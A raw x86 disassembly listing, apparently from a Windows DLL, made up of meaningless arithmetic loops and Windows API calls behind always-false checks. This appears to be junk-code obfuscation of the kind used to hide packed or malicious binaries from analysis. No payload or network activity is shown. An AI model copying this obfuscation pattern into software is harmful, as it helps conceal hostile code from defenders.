push eax
call fcn.1001872f
lea ecx, [ebp - 0xe30]
mov dword [eax], esi
mov eax, dword [ebp - 0x3c]
imul eax, esi
mov dword [ebp - 0x3c], eax
or dword [ebp - 4], 0xffffffff
call fcn.1001872a
mov dword [ebp - 0x20], 0xd7f825e7
xor eax, eax
mov dword [ebp - 0x28], 0xedb7758b
mov dword [ebp - 0x60], ebx
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x10034a7a
push 0x563
push 0x26cc
push 0x14b5
push 0x88d
push 0xd24
push eax
push eax
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10034c46
mov dword [ebp - 0x2c], 0x5ba77230
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x38], 0x65721867
mov dword [ebp - 0x4c], 0x33954656
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffff1
jle 0x10034c43
push 4
lea ecx, [ebp - 0x2d0]
call fcn.100186a3
mov dword [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x3c], 0xfffc
mov dword [ebp - 0x44], 0xe1d67a3d
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x28], eax
jmp 0x10034ae7
push dword [ebp - 0x28]
call fcn.1001872f
mov dword [eax], 0x593c8699
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
lea ecx, [ebp - 0x2d0]
jl 0x10034ad6
mov eax, dword [ebp - 0x20]
push ebx
call fcn.1001872f
mov ecx, dword [ebp - 0x2c]
xor ebx, ebx
push 2
cmp dword [eax], ecx
lea ecx, [ebp - 0x2d0]
pop eax
push eax
setge bl
call fcn.1001872f
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp ecx, ebx
lea ecx, [ebp - 0x2d0]
setne dl
xor ebx, ebx
imul edx, dword [eax]
inc ebx
push ebx
mov dword [ebp - 0x28], edx
call fcn.1001872f
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [eax]
jge 0x10034b47
push ebx
lea ecx, [ebp - 0x2d0]
call fcn.1001872f
xor eax, eax
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0x14], eax
push 3
call fcn.1001872f
mov edx, dword [ebp - 0x14]
mov esi, eax
mov ecx, dword [ebp - 0x60]
xor eax, eax
cmp edx, ecx
setg al
cmp eax, dword [esi]
jl 0x10034b84
push ebx
lea ecx, [ebp - 0x2d0]
call fcn.1001872f
cmp dword [eax], 0
jne 0x10034b84
xor eax, eax
mov esi, eax
inc eax
jmp 0x10034b89
xor eax, eax
inc eax
mov esi, eax
push eax
lea ecx, [ebp - 0x2d0]
call fcn.1001872f
mov ecx, dword [ebp - 0x60]
xor edx, edx
cmp esi, ecx
push 2
setle dl
xor ecx, ecx
cmp edx, dword [eax]
setne cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x2d0]
inc dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
pop eax
push eax
call fcn.1001872f
xor ebx, ebx
lea ecx, [ebp - 0x2d0]
inc ebx
mov esi, eax
push ebx
call fcn.1001872f
xor edx, edx
mov ecx, dword [eax]
mov dword [esi], ecx
mov ecx, dword [ebp - 0x44]
cmp dword [esi], ecx
setl dl
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x10034bf9
cmp dword [ebp - 0x28], eax
jne 0x10034bf9
mov edx, eax
jmp 0x10034c01
xor eax, eax
xor ebx, ebx
inc ebx
lea edx, [eax + 1]
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
lea ecx, [ebp - 0x2d0]
setne dl
imul edx, dword [ebp - 0x50]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x14], edx
or dword [ebp - 4], 0xffffffff
call fcn.1001872a
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff1
jg 0x10034aa7
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff8
je 0x10034a82
push 3
lea ecx, [ebp - 0x684]
call fcn.100186a3
mov dword [ebp - 4], 0xa
push 8
mov dword [ebp - 0x24], 0xffffffff
pop eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push 2
mov dword [ebp - 0x60], eax
pop esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x10034c9f
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x74], 0xc204e2db
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x10034c84
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x10034cc5
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x144], 0xadc1094
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x10034ca7
xor ebx, ebx
xor eax, eax
inc ebx
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10034cee
push eax
push eax
push eax
push 0x1854
push 0x22bf
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x10034f06
jmp 0x10034cff
xor ebx, ebx
inc ebx
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x10034d28
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x14d4], 0xfffffff7
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x10034d0f
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x10034d4b
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x358], 0xffffffff
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x10034d30
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x10034e1c
cmp dword [ebp - 0x18], eax
je 0x10034d6f
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x74], 0
je 0x10034d6d
xor eax, eax
lea ecx, [eax + 1]
jmp 0x10034d71
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x14d4], ecx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x18]
imul edx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x74]
add eax, ecx
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x18]
cmp edx, 0x19d87263
setne cl
xor ebx, ebx
cmp ecx, eax
setge bl
xor edx, edx
mov dword [ebp - 0x358], ebx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x74]
cmp ecx, eax
sete dl
xor eax, eax
cmp ebx, 0xffffffff
setle al
sub eax, 0x86a6
neg eax
sbb eax, eax
inc eax
cmp edx, eax
jne 0x10034de0
xor eax, eax
cmp dword [ebp - 0x74], eax
je 0x10034de2
lea edx, [eax + 1]
jmp 0x10034de4
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x144]
setne cl
xor edx, edx
imul ecx, ecx, 7
cmp ecx, eax
mov eax, dword [ebp - 0x144]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x74], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10034d57
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x10034efa
mov dword [ebp - 0x2c], 0xffffffff
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x74], ecx
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x10034eec
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x144], 0
jne 0x10034e66
xor eax, eax
cmp dword [ebp - 0x358], eax
jne 0x10034e66
mov ecx, eax
jmp 0x10034e6b
xor eax, eax
lea ecx, [eax + 1]
xor eax, eax
cmp ecx, 0x9f94
mov ecx, 0xfff6
setg al
dec eax
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
cmp eax, 0xb0b826fb
mov eax, dword [ebp - 0x144]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
mov eax, dword [ebp + eax*4 - 0x358]
sub eax, edx
imul eax, eax, 0x2214
test eax, eax
je 0x10034eb7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x74]
cmp eax, edx
setg cl
cmp ecx, 0xfffffff8
jne 0x10034ed8
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10034edb
xor eax, eax
inc eax
mov dword [ebp - 0x4c], eax
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x10034e4b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10034e28
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x10034cfc
push 3
pop ebx
mov dword [ebp - 0x2c], 4
lea ecx, [ebp - 0xa64]
mov dword [ebp - 0x64], 6
push ebx
call fcn.100186a3
xor eax, eax
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10034f4c
push dword [ebp - 0x28]
lea ecx, [ebp - 0xa64]
call fcn.1001872f
and dword [eax], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x10034f31
xor eax, eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0xffffffe2
jle 0x100351d2
mov dword [ebp - 0x20], 0x75286e87
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xf
jl 0x100351c2
push 4
lea ecx, [ebp - 0x60c]
call fcn.100186a3
xor eax, eax
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 4
jge 0x10034fa8
push dword [ebp - 0x34]
lea ecx, [ebp - 0x60c]
call fcn.1001872f
mov dword [eax], 0xa9869ec4
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 4
jl 0x10034f89
xor eax, eax
push 2
mov dword [ebp - 0x34], eax
pop ebx
cmp dword [ebp - 0x34], ebx
jge 0x10034fcb
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x10c4], 0x12dc
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x10034fb3
xor eax, eax
push eax
lea ecx, [ebp - 0x60c]
call fcn.1001872f
lea ecx, [ebp - 0x60c]
and dword [eax], 0
xor eax, eax
push eax
call fcn.1001872f
cmp dword [eax], ebx
jg 0x100351a1
xor ebx, ebx
inc ebx
push 2
pop eax
push eax
lea ecx, [ebp - 0x3b4]
call fcn.100186a3
push ebx
lea ecx, [ebp - 0xcb0]
mov byte [ebp - 4], 0xd
call fcn.100186a3
xor eax, eax
mov byte [ebp - 4], 0xe
push 2
mov dword [ebp - 0x34], eax
pop esi
cmp dword [ebp - 0x34], esi
jge 0x10035044
push dword [ebp - 0x34]
lea ecx, [ebp - 0x3b4]
call fcn.1001872f
push 2
and dword [eax], 0
inc dword [ebp - 0x34]
pop eax
cmp dword [ebp - 0x34], eax
jl 0x10035023
push 2
xor eax, eax
pop esi
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x10035070
push dword [ebp - 0x34]
lea ecx, [ebp - 0xcb0]
call fcn.1001872f
mov dword [eax], 0x84abf0a6
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x1003504c
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x3b4]
call fcn.1001872f
mov dword [eax], esi
jmp 0x10035133
xor eax, eax
mov dword [ebp - 0x4c], 0xc47a
push eax
lea ecx, [ebp - 0x60c]
call fcn.1001872f
lea ecx, [ebp - 0xa64]
push dword [eax]
call fcn.1001872f
cmp dword [eax], 0
je 0x10035104
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x3b4]
xor eax, eax
push eax
call fcn.1001872f
mov eax, dword [ebp - 0x10c4]
lea ecx, [ebp - 0x3b4]
xor eax, eax
push eax
call fcn.1001872f
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x3b4]
mov eax, dword [ebp - 0x20]
xor eax, eax
push eax
call fcn.1001872f
lea ecx, [ebp - 0xa64]
push dword [eax]
call fcn.1001872f
mov esi, eax
lea ecx, [ebp - 0x3b4]
xor eax, eax
push eax
call fcn.1001872f
mov ecx, dword [eax]
mov dword [esi], ecx
xor eax, eax
lea ecx, [ebp - 0xcb0]
push eax
call fcn.1001872f
cmp dword [ebp - 0x64], 0xfffa
sbb ecx, ecx
neg ecx
imul ecx, dword [ebp - 0x4c]
mov dword [eax], ecx
xor eax, eax
push eax
lea ecx, [ebp - 0x3b4]
call fcn.1001872f
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x3b4]
push eax
call fcn.1001872f
cmp dword [eax], 0
jge 0x10035083
push 2
pop eax
push eax
lea ecx, [ebp - 0xa64]
call fcn.1001872f
lea ecx, [ebp - 0xcb0]
or dword [eax], 0xffffffff
call fcn.1001872a
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 4], 0xc
call fcn.1001872a
xor eax, eax
lea ecx, [ebp - 0x60c]
push eax
call fcn.1001872f
lea ecx, [ebp - 0x60c]
inc dword [eax]
xor eax, eax
push eax
call fcn.1001872f
push 2
pop esi
cmp dword [eax], esi
jle 0x10034ff3
jmp 0x100351a4
push 2
pop esi
lea ecx, [ebp - 0x60c]
mov byte [ebp - 4], 0xb
call fcn.1001872a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xf
jge 0x10034f6d
xor eax, eax
dec dword [ebp - 0x64]
cmp dword [ebp - 0x64], 0xffffffe2
jg 0x10034f59
push 3
pop ebx
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100351e2
push eax
call dword [sym.imp.USER32.dll_SetCursor]
lea ecx, [ebp - 0xa64]
mov byte [ebp - 4], 0xa
call fcn.1001872a
push ebx
lea ecx, [ebp - 0x66c]
call fcn.100186a3
mov byte [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x20], eax
xor edx, edx
mov dword [ebp - 0x58], 0xffffffff
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x4c], 0x8905b8b7
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], 0x9f8d19c9
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
push 0xfffffffffffffff9
pop ebx
cmp ebx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setg cl
sub ecx, 0x1e19
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x1c], 0x1d
cmp dword [ebp - 0x1c], 0xffffffe6
jg 0x1003530e
mov dword [ebp - 0x44], 0x1978e60d
xor eax, eax
mov dword [ebp - 0x4c], 5
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x100352a1
call edi
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetParent]
mov dword [ebp - 0x58], 0xfffffff2
jmp 0x100352f8
mov dword [ebp - 0x60], 0x3c3d
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x44]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x60]
cmp eax, edx
mov eax, dword [ebp - 0x50]
setle cl
xor edx, edx
imul ecx, ecx, 0xfab8
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setle dl
xor ebx, ebx
test edx, edx
setg bl
xor ecx, ecx
cmp ebx, eax
setl cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 4
jle 0x100352aa
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe6
jle 0x1003527d
push 0xfffffffffffffff9
pop ebx
mov dword [ebp - 0x54], 0x9a83
xor eax, eax
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x30], 0xf37831e4
mov dword [ebp - 0x30], 0x532bb11a
mov dword [ebp - 0x30], 0x6e52d8cb
push 2
mov dword [ebp - 0x34], eax
pop ecx
cmp dword [ebp - 0x34], ecx
jge 0x10035352
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x171c], ebx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x1003533e
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x34], eax
inc ebx
cmp dword [ebp - 0x34], ebx
jge 0x1003537b
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x578], 0xfffffff7
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x1003535d
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x4c], 0xffffffff
dec dword [ebp - 0x578]
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x34], 0x62d5e48d
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x18
je 0x100355d6
jmp 0x100353a7
push 2
pop ecx
mov dword [ebp - 0x58], 0xfffffffa
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x100353d5
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x14c], 0xba8b35ed
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x100353bd
xor eax, eax
cmp dword [ebp - 0x58], eax
je 0x10035437
mov dword [ebp - 0x60], 5
xor ecx, ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x148]
cmp eax, 0x959c
setne cl
cmp ecx, 4
jle 0x1003540b
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x60]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x148], eax
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x100355c6
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x100355c6
push ecx
lea ecx, [ebp - 0x9d4]
call fcn.100186a3
push 8
pop eax
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10035465
push dword [ebp - 0x28]
call fcn.1001872f
mov dword [eax], 0x49c23edb
inc dword [ebp - 0x28]
push 2
pop eax
lea ecx, [ebp - 0x9d4]
cmp dword [ebp - 0x28], eax
jl 0x10035454
mov eax, dword [ebp - 0x34]
mov esi, dword [ebp - 0x148]
push ebx
call fcn.1001872f
mov dword [eax], esi
xor eax, eax
test esi, esi
jne 0x10035568
cmp dword [ebp - 0x148], eax
jne 0x10035568
mov dword [ebp - 0x3c], 0x7ba2
mov dword [ebp - 0x58], ebx
cmp dword [ebp - 0x58], eax
jl 0x1003554e
mov dword [ebp - 0x60], 0xffffffff
lea ecx, [ebp - 0x9d4]
push dword [ebp - 0x58]
call fcn.1001872f
cmp dword [eax], 0
je 0x100354e1
mov eax, dword [ebp - 0x58]
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14c]
sub ecx, eax
je 0x100354e1
xor eax, eax
xor ebx, ebx
inc ebx
lea esi, [eax + 1]
jmp 0x100354e5
xor eax, eax
mov esi, eax
mov dword [ebp - 0x60], 0xfffffffd
lea ecx, [ebp - 0x9d4]
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
push ebx
call fcn.1001872f
mov ecx, dword [ebp - 0x34]
xor edx, edx
sub esi, ecx
add esi, dword [ebp - 0x3c]
cmp esi, dword [eax]
mov eax, dword [ebp - 0x60]
setge dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, dword [ebp - 0x148]
jl 0x1003552f
cmp dword [ebp - 0x3c], eax
je 0x1003552f
xor ebx, ebx
lea ecx, [eax + 1]
inc ebx
jmp 0x10035531
mov ecx, eax
mov eax, dword [ebp - 0x3c]
sub ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x14c], ecx
inc dword [ebp - 0x38]
dec dword [ebp - 0x58]
jns 0x100354ad
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100355b7
push eax
push 0x19d3
call edi
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
jmp 0x100355b7
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10035591
push eax
push eax
push eax
push 0x1854
push 0x22bf
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100355b7
push eax
push 0x1ede
push 0xb8d
push eax
push 0x160c
push 0xd51
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [ebp - 0x9d4]
mov byte [ebp - 4], 0xf
call fcn.1001872a
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x18
push 0
pop eax
jne 0x100353a4
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x100355fe
push dword [ebp - 0x34]
lea ecx, [ebp - 0x684]
call fcn.1001872f
mov dword [eax], 0x9841b3c6
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x100355df
xor eax, eax
mov esi, 0x96dd1e1e
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1003562d
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x5a8], ebx
xor eax, eax
inc dword [ebp - 0x28]
inc eax
push eax
pop ebx
cmp dword [ebp - 0x28], eax
jl 0x10035611
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x10035662
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x5a8], ecx
jne 0x10035653
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x5a8], ecx
jne 0x10035653
xor eax, eax
jmp 0x10035655
mov eax, ebx
mov dword [ebp - 0x4c], eax
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x10035635
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10035676
call edi
push eax
call dword [sym.imp.USER32.dll_GetParent]
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x1003569e
push dword [ebp - 0x34]
lea ecx, [ebp - 0x66c]
call fcn.1001872f
mov dword [eax], 0xc47d1afd
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x1003567f
xor eax, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x100356c8
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x5b8], ebx
xor eax, eax
inc dword [ebp - 0x28]
inc eax
push eax
pop ebx
cmp dword [ebp - 0x28], eax
jl 0x100356ac
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x100356fd
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x5b8], ecx
jne 0x100356ee
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x5b8], ecx
jne 0x100356ee
xor eax, eax
jmp 0x100356f0
mov eax, ebx
mov dword [ebp - 0x4c], eax
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x100356d0
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10035711
call edi
push eax
call dword [sym.imp.USER32.dll_GetParent]
xor eax, eax
push 2
pop edx
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], eax
jl 0x10037cd6
jmp 0x10035727
push 2
xor eax, eax
pop edx
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 0x7c8a6b95
mov dword [ebp - 0x30], 0x1f34
mov dword [ebp - 0x30], 0xd3650dfa
mov dword [ebp - 0x60], 0x47430797
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x10035773
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x17dc], 0xffffffff
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x1003575a
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10035789
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x1604], 0
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jl 0x10035778
inc dword [ebp - 0x60]
lea ecx, [ebp - 0xfbc]
mov dword [ebp - 0x14], 0xc6338430
mov dword [ebp - 0x64], 0xb2e4145c
mov dword [ebp - 0x20], 7
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x50], ebx
push edx
call fcn.100186a3
xor eax, eax
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x28], eax
jmp 0x100357da
push dword [ebp - 0x28]
lea ecx, [ebp - 0xfbc]
call fcn.1001872f
mov dword [eax], ebx
inc dword [ebp - 0x28]
push 2
pop ecx
cmp dword [ebp - 0x28], ecx
jl 0x100357c7
mov eax, dword [ebp - 0x4c]
dec eax
neg eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x50]
jne 0x10035818
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x10035838
push dword [ebp - 0x20]
lea ecx, [ebp - 0xfbc]
call fcn.1001872f
push 2
mov dword [eax], ebx
inc dword [ebp - 0x20]
pop eax
cmp dword [ebp - 0x20], eax
jl 0x100357fb
jmp 0x10035836
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x10035836
push 0x10d
push 0x236c
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1003584d
push 0xc78
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [ebp - 0xfbc]
mov byte [ebp - 4], 0xf
call fcn.1001872a
push 8
pop eax
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x38], 0xa284868f
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x1003588d
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x538], 0x64a6847d
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x10035874
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x100358af
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x14ec], 0xca420452
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x10035896
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100358cb
push eax
push 0x338
push 0xae4
call dword [sym.imp.GDI32.dll_CreatePen]
xor eax, eax
mov dword [ebp - 0x538], 0xffffffe2
jmp 0x10035944
mov dword [ebp - 0x28], 0x32a17d0b
mov dword [ebp - 0x60], 0xffffffff
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x50], 0xbd0d
cmp dword [ebp - 0x534], eax
je 0x10035928
mov dword [ebp - 0x14ec], 0xaab7
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
